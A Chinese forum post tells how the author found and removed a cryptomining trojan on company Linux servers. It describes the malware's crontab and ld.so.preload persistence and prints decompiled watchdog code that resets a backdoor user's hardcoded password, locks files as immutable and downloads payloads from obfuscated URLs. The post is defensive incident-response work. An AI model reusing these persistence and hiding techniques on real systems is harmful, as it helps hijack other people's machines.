自从换了行业岗位,大概有4,5年没有去研究逆向安全方向了,本来以为会跟这个职业再无任何交集,没想到今天一次偶然的机会,又让我有机会去"爽"了一把。
最近公司同事一直反馈项目上的系统很卡很卡,起初我并没有留意,毕竟不是我负责的项目,但是突然听到同事说卧槽,为什么我们CPU占用率高达99.8%,当时下意识以为可能只是程序有BUG,导致CPU爆炸,但是当我使用top准备去看哪个服务程序给干炸的时候,从输出内容来看,所有程序加在一起CPU使用率都不足20%,那么问题来了,剩下的79%的CPU是谁在搞鬼。因为太久没接触安全方向,以为现在木马还以勒索病毒为主,但是公司数据文件并未被加密或收到勒索信息,然后打开同局域网下另外一台服务器,想重新部署下这套系统查看下问题,结果发现备用服务器在没任何系统程序的情况下,CPU使用率依旧99%,突然发现,此刻的问题"不简单"
此刻我意识到了,显然服务器的已经被当成了矿机.既然有机会重操旧业,那就准备认真分析一波,看看到底哪个小可爱在捣乱
既然正常系统下top无法查看具体系统进程,那么就直接上busybox,使用busybox工具内的top来查看下具体进程
但是也没有发现太有价值的进程存在,那么只能换个思路打开方式,既然已经知道系统里面有挖矿程序,那么系统内必然会出现开启启动任务,那就
一下
得,这不就巧了,多么明显的违规行为,伪装成log文件
这不妥妥的木马程序,先下载下来丢到平台里面分析一波看看都有什么操作
这里还访问了
这不妥妥的劫持嘛,怪不得使用常规的top无法查询到进程,本来就想到此结束
尝试清除了启动项,但是保存在打开后,发现启动项还存在,那么显然后台还有另外的程序在一直监控修改,通过使用auditd监听发现,二号目标 /usr/bin/log 出现
继续拷贝下载到本地,打开了尘封已经的IDA,二话不说直接强行拉进去,一顿F5疯狂输出
结果显然喜闻乐见
死循环去执行各种小可爱操作
更新用户密码
给木马程序文件设置immutable属性
更新环境并执行脚本
下载木马程序文件
尝试添加启动项
这样整个木马程序就已经很清晰
既然了解了整体的木马流程,那么就有了解决方案
先使用iptables阻止对该147.45.42.44地址的访问
既然系统中已经预加载了病毒的动态库,那么只要使用U盘进入一个临时的系统或者使用
进入救援模式(类似Windows的安全模式)下,先对木马程序文件修改immutable属性,然后删除文件即可
到这一步,基本挖矿程序就已经清除结束,然后再top一下看看
嗯,效果很舒服
最后收尾的时候,顺便再把用户该删的删除,该修改的修改
因为该系统再工作日还要继续使用,所以暂时没法去重新做系统及追查木马如果通过漏洞进入服务器,剩下的事情就交给运维同事去处理了
顺便也祝 论坛的表哥们 新年快乐~
crontab
-
l
@reboot
/
var
/
log
/
log >
/
dev
/
null
2
>&
1
& disown
@reboot
/
var
/
log
/
log >
/
dev
/
null
2
>&
1
& disown
ld.so.preload
while
(
1
)
{
check_and_start_ssh();
check_and_run_crontab();
check_and_move_files();
ensure_user_exists(
"systemd"
);
......
}
while
(
1
)
{
check_and_start_ssh();
check_and_run_crontab();
check_and_move_files();
ensure_user_exists(
"systemd"
);
......
}
if
( (unsigned
int
)password_needs_update(
"systemd"
,
"Voidsetdownload.so"
) )
{
printf(
"zhengzai gengxin mima %s...\n"
,
"systemd"
);
set_password(
"systemd"
,
"Voidsetdownload.so"
);
}
if
( (unsigned
int
)password_needs_update(
"systemd"
,
"Voidsetdownload.so"
) )
{
printf(
"zhengzai gengxin mima %s...\n"
,
"systemd"
);
set_password(
"systemd"
,
"Voidsetdownload.so"
);
}
if
( file_exists(
"/usr/local/lib/sshdD.so"
) && file_exists(
"/usr/bin/log"
) && file_exists(
"/var/log/log"
) )
{
if
( (
int
)set_immutable(
"/usr/local/lib/sshdD.so"
) <
0
)
fprintf(stderr,
"cuou: wufadan bahu wejian %s\n"
,
"/usr/local/lib/sshdD.so"
);
...
}
if
( file_exists(
"/usr/local/lib/sshdD.so"
) && file_exists(
"/usr/bin/log"
) && file_exists(
"/var/log/log"
) )
{
if
( (
int
)set_immutable(
"/usr/local/lib/sshdD.so"
) <
0
)
fprintf(stderr,
"cuou: wufadan bahu wejian %s\n"
,
"/usr/local/lib/sshdD.so"
);
...
}
update_ld_preload();
if
( file_exists(
"/var/log/log"
) && !script_ran_4799 )
{
run_script();
script_ran_4799
=
1
;
}
update_ld_preload();
if
( file_exists(
"/var/log/log"
) && !script_ran_4799 )
{
run_script();
script_ran_4799
=
1
;
}
if
( !file_exists(
"/usr/local/lib/sshdD.so"
) || !file_exists(
"/usr/bin/log"
) || !file_exists(
"/var/log/log"
) )
{
puts(
"zhegzai chonxin xizai wejian..."
);
ensure_files();
}
if
( !file_exists(
"/usr/local/lib/sshdD.so"
) || !file_exists(
"/usr/bin/log"
) || !file_exists(
"/var/log/log"
) )
{
puts(
"zhegzai chonxin xizai wejian..."
);
ensure_files();
}
void ensure_files()
{
if
( !file_exists(
"/usr/local/lib/sshdD.so"
) )
{
puts(
"zhengzai xiazai sshdd.so..."
);
download_file(
"4b6K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5@1y4#2)9J5k6e0b7#2i4K6u0W2y4o6u0Q4x3X3f1@1y4q4)9J5c8X3c8G2N6$3&6D9L8$3q4V1M7#2)9J5c8Y4y4K6K9r3c8p5i4K6u0W2M7$3)9`."
,
"/usr/local/lib/sshdD.so"
);
set_executable_permissions(
"/usr/local/lib/sshdD.so"
,
0x1EDu
);
}
if
( !file_exists(
"/usr/bin/log"
) )
{
puts(
"zhengzai xiazai log..."
);
download_file(
"afaK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5@1y4#2)9J5k6e0b7#2i4K6u0W2y4o6u0Q4x3X3f1@1y4q4)9J5c8X3c8G2N6$3&6D9L8$3q4V1M7#2)9J5c8X3M7%4j5#2)9J5c8X3I4G2k6H3`.`."
,
"/usr/bin/log"
);
set_executable_permissions(
"/usr/bin/log"
,
0x1EDu
);
}
if
( !file_exists(
"/var/log/log"
) )
{
puts(
"zhengzai xiazai script..."
);
download_file(
"accK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5@1y4#2)9J5k6e0b7#2i4K6u0W2y4o6u0Q4x3X3f1@1y4q4)9J5c8X3c8G2N6$3&6D9L8$3q4V1M7#2)9J5c8X3I4G2k6H3`.`."
,
"/var/log/log"
);
set_executable_permissions(
"/var/log/log"
,
0x1EDu
);
}
}
最后于 2025-1-3 21:05 被aimhack编辑 ,原因: